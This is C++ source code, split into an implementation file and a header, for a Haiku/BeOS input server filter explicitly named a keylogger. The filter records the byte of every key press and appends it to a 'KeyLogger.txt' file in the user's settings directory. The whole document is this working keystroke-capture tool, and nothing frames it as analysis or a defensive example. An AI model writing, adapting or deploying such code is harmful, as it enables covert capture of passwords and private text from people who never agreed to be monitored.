
#include <Message.h>

#include "KeyloggerFilter.h"
 


extern "C" _EXPORT BInputServerFilter *instantiate_input_filter();



BInputServerFilter *instantiate_input_filter() 
{

	return new KeyloggerInputServerFilter();

}



KeyloggerInputServerFilter::KeyloggerInputServerFilter() { 
}


KeyloggerInputServerFilter::~KeyloggerInputServerFilter()
 {

	// Delete the BFile object
	
           delete fFile; 
  
}



status_t KeyloggerInputServerFilter::InitCheck()
 {

	// Create the BFile object
	
         BPath path;
	
	if (find_directory(B_USER_SETTINGS_DIRECTORY, &path, true) == B_OK) {
				path.Append(KEYLOGGER_FILE_NAME);
	
		fFile = new BFile(path.Path(), B_CREATE_FILE | B_OPEN_AT_END | B_WRITE_ONLY);
	
	}

	return fFile->InitCheck();

}



filter_result KeyloggerInputServerFilter::Filter(BMessage *message, BList *outList) 
{

	// For each keystroke we record the character into the file
	

if (message->what == B_KEY_DOWN) {

		int8 key;
		
		if (message->FindInt8("byte", &key) == B_OK) {

			fFile->Write(&key, sizeof(key));
	
		}
	
}
	

return B_DISPATCH_MESSAGE;


}




#include <StorageKit.h>

#include <InputServerFilter.h>



// Name of the file where the typed characters will be recorded.

// This file is created in the B_USER_SETTINGS_DIRECTORY:

// /boot/home/config/settings 


#define KEYLOGGER_FILE_NAME "KeyLogger.txt"
 


class KeyloggerInputServerFilter : public BInputServerFilter {
 
public:
	KeyloggerInputServerFilter();
						~KeyloggerInputServerFilter();


	
	status_t InitCheck();
	
	filter_result	Filter(BMessage *message, BList *outList);


private:

	BFile			*fFile;

};
